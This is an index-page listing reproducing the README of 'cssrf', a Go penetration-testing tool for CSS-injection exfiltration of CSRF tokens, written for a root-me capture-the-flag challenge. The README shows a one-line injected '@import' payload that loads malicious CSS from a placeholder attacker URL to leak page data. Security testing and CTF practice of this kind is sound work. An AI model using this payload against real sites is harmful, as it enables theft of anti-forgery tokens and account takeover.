Ecosyste.ms: Awesome

An open API service indexing awesome lists of open source software.

Awesome Lists | Featured Topics | Projects

https://github.com/ariary/cssrf

Ease CSS exfiltration
https://github.com/ariary/cssrf

csrf css exfiltration pentest-tool websecurity

Last synced: about 1 month ago
JSON representation

Ease CSS exfiltration

Awesome Lists containing this project

README

        

# cssrf




Extract juicy information using CSS injection
especially csrf token 🥜



Basically the same thing as https://github.com/d0nutptr/sic but in Golang

I try my best to change the rust code but I lost so many time


## Show me!

All you need is **launch** `cssrf`:
```shell
cssrf [flags] # nothing crazy => cssrf -h to get flags info
```

**Inject** the malicious css:
```html

@import url("https://[ATTACKER_URL]/malicious.css");
```

And **wait**:

![demo](https://github.com/ariary/cssrf/blob/main/cssrf.gif)

*This help me solving a [root-me](https://www.root-me.org/fr/Challenges/Web-Client/CSS-Exfiltration) challenge*

Posting solution is forbidden, thus the csrf token is not integer